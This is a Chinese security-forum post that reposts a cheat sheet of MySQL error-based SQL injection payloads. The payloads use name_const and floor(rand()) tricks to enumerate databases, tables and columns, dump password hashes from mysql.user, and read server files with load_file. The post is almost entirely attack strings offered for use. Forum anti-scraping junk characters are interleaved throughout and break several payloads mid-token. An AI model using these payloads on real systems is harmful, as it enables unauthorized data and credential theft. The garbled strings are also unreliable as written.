中国网络渗透测试联盟

标题: Mysql暴错注入参考（pdf） [打印本页]
作者: admin    时间: 2013-7-27 11:00
标题: Mysql暴错注入参考（pdf）
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 ! y* Y  v- r5 Q" k

6 y, u/ q! Y" Q' D* T3 a
6 s' _" Y$ K6 tMysql暴错注入参考（pdf），每天一贴。。。
, B$ L+ W( N, n0 z5 }9 r$ ^& L) s' s5 V
MySql Error Based Injection Reference
8 I* t4 Z8 Z8 Y5 j3 @& S[Mysql暴错注入参考]
% u- n( t+ }# a3 A1 ZAuthornig0s1992
2 Y7 [0 h; o% F, {) D% v' l: kBlog:http://pnig0s1992.blog.51cto.com/
1 l  ?- J/ J- y% c8 F( GTeAm:http://www.FreeBuf.com/
$ q0 K! y4 k: {% TMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
% ~9 z( j9 V% C& r7 u+ ^0 X- M小部分版本使用name_const()时会报错.可以用给出的Method.2测试
  V+ {3 K4 @" G% w& {) e查询版本:
$ o9 G) l* a* x3 c7 WMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+9 @& Z0 [. K& ^* D- M$ K, L8 d
join+(select+name_const(@@version,0))b)c)
" M+ t; {+ {3 r$ C% @: V% J% Z; NMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
* T8 w: q" }* I- T; m' m* s; Mup by a)b)
, V3 m2 ~. Y/ d$ e- t查询当前用户:
' U! i! n7 r; C- f  _0 t6 dMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c), p) m# F6 N# l: @- D7 S3 J9 h& _
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r2 G' X9 _: C2 ?! a
and(0)*2))x+from+information_schema.tables+group+by+x)a)
% _! C6 T& o0 u" j! G* l1 X8 Z6 i查询当前数据库:- I( X7 {( M4 N( B! `3 _
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)2 f4 q1 m0 n- w3 x2 A% S1 j
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
% F3 S7 c: j# I2 v  \( Ior(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
$ F1 B9 r; u  g! j, W依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+, d% M# p3 d' A$ E% T& h  C7 z) E
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n% y# e* M/ z. b8 }" N$ J
顺序替换
1 u, U: W2 m% d5 J9 i爆指定库数目:; ]# _, v. v& H9 H2 @( D
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
2 ~9 e& ^) G7 Z4 r% g! oable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group( g" \0 A" W4 ^5 K5 L6 t
+by+x)a)+and+1=1 0x6D7973716C=mysql" t2 U- t& B* V" F! O
依次爆表:
9 R" }# e7 c4 G" ?! d! n- f4 Y8 sand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t* b4 c4 Y% F! S2 {9 P( F5 x
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta5 ^6 K  ^8 b; t& U3 _2 e
bles+group+by+x)a)+and+1=1: _- P8 `( M1 j8 g
0x6D7973716C=Mysql 将n顺序替换: N! g( K% m+ q. v
爆表内字段数目:1 Y. k. x3 B2 T, \! E8 c7 S/ |0 d: L
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
0 C' B7 k* |. _4 i! O) q9 H8 v1 \8 T+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran% Z* ^% g5 t* [# c
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1+ g3 t0 `/ O- A  z* E* N- W" E& h
依次爆字段:5 T5 m" C+ p- E9 M: X% o* a
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where" x. N& u$ t+ V8 t7 p% u/ S
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
" l0 F8 \. g6 x, ploor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换7 W: b% q1 P. E. s2 [
依次暴内容:
2 J4 ~! q' L5 g7 j3 _/ A: Eand+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
* Y' i; o/ @2 S; G4 f# B  Vma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1# e1 T) G9 |$ ^+ f
将n顺序替换  P* T" o; h/ \3 D2 L
爆文件内容:
( E' E/ j" k7 M" j3 B) Tand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a: D1 `( j3 N$ ]4 x9 |1 Y0 K
from+information_schema.tables+group+by+a)b)
6 C1 d4 l9 N3 z, Y1 h- q0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节' T6 g6 A3 ^$ u$ W
Thx for reading.; |& l+ M0 Q% ]1 E- I. z

3 s4 i( L2 L/ M2 v$ H6 E8 P不要下载也可以，
, e) {% c, K+ E/ R4 K0 h& A$ Z



欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2